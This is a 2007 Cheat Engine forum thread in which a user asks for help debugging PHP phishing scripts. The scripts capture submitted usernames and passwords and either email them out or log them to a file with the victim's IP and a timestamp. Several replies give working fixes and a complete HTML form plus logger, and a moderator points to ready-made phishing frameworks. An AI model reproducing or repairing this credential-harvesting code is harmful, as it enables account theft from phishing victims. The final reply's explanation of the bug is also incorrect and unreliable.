Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


Basic PHP for the not so wise?

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming
View previous topic :: View next topic  
Author Message
HackOtaku
I posted the 500000th topic
Reputation: 81

Joined: 31 May 2007
Posts: 228

PostPosted: Tue Nov 20, 2007 11:34 pm    Post subject: Basic PHP for the not so wise? Reply with quote

This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?

Code:

<?php
$_GET['username'];
$_GET['password'];
$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $username . "\n";
$message .= "Password: " . $password . "\n";
$sent = mail($to, $subject, $message);
?>
Back to top
View user's profile Send private message
Dark Byte
Site Admin
Reputation: 470

Joined: 09 May 2003
Posts: 25807
Location: The netherlands

PostPosted: Wed Nov 21, 2007 2:27 am    Post subject: Reply with quote

if you get it from a post method:
$_POST['username'];

_________________
Do not ask me about online cheats. I don't know any and wont help finding them.

Like my help? Join me on Patreon so i can keep helping
Back to top
View user's profile Send private message MSN Messenger
appalsap
Moderator
Reputation: 0

Joined: 27 Apr 2006
Posts: 6753
Location: Pakistan

PostPosted: Wed Nov 21, 2007 2:38 am    Post subject: Reply with quote

I hope you know that phishing frameworks are out there so you don't have to reinvent the wheel.
_________________
Back to top
View user's profile Send private message
HomerSexual
Grandmaster Cheater Supreme
Reputation: 5

Joined: 03 Feb 2007
Posts: 1657

PostPosted: Wed Nov 21, 2007 7:52 am    Post subject: Reply with quote

form.html

<form action="logger.php" method="POST">
Username: <input type="text" name="username">
<br/>
Password: <input type="password" name="password">
<br/>
<input type="submit" value="submit">

logger.php

<?php
$user = $_POST['username'];
$pass = $_POST['password'];
echo $user;
echo "<br />" . $pass;
?>

I'm not in support of the phishing so that's all i will give you. It works.

_________________
Back to top
View user's profile Send private message
CyClonenl
Newbie cheater
Reputation: 0

Joined: 12 Mar 2005
Posts: 24

PostPosted: Wed Nov 21, 2007 11:07 am    Post subject: Re: Basic PHP for the not so wise? Reply with quote

HackOtaku wrote:
This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?

Code:

<?php

$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $_POST['username'] . "\n";
$message .= "Password: " . $_POST['password'] . "\n";
$sent = mail($to, $subject, $message);
?>


Yeah, passwords and stuff should ALWAYS be send in POST.

The problem is is that $username and $password arent declared, at all.
Back to top
View user's profile Send private message
HackOtaku
I posted the 500000th topic
Reputation: 81

Joined: 31 May 2007
Posts: 228

PostPosted: Wed Nov 21, 2007 1:16 pm    Post subject: Re: Basic PHP for the not so wise? Reply with quote

CyClonenl wrote:
HackOtaku wrote:
This is for informational use, I am trying to learn what is wrong that it sends me "Username:"
and
"Password:"
without any information. Anyone have a clue?

Code:

<?php

$to = '[email protected]';
$subject = 'Information';
$message .= "Username: " . $_POST['username'] . "\n";
$message .= "Password: " . $_POST['password'] . "\n";
$sent = mail($to, $subject, $message);
?>




Yeah, passwords and stuff should ALWAYS be send in POST.

The problem is is that $username and $password arent declared, at all.
Not my only file. Tell me, does this look right?

Code:

i<?php
$line     =('***********************************************');
$name     = $_POST['name'];
$user    = $_POST['username'];
$passes   = $_POST['password'];
$ip       = $_SERVER['REMOTE_ADDR'];
$d        = date('l dS \of F Y h:i:s A');
$headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
$mes     .= 'user: '.$user."\n";
$mes     .= 'Password: '.$passes."\n";
$mes     .= "IP: ".$ip."\n";
$mes     .= 'Date & Time: '.$d."\n";
$mes     .= ".$line.";

$file = "allorall.txt";
$fh = fopen($file "a");
fwrite ($fh, "$mes\n");
fclose($fh);
echo "<script LANGUAGE=\"JavaScript\">
<!--
window.location=\"index.swf\";
// -->
</script>";
?>


It should save information onto allorall.txt, however it does not..
Back to top
View user's profile Send private message
HomerSexual
Grandmaster Cheater Supreme
Reputation: 5

Joined: 03 Feb 2007
Posts: 1657

PostPosted: Wed Nov 21, 2007 2:21 pm    Post subject: Reply with quote

you're redeclaring mes not appending strings onto it

example

$a = "b";
$a = "c";

Does $a = b? No, because i redeclared $a as "c"

_________________
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites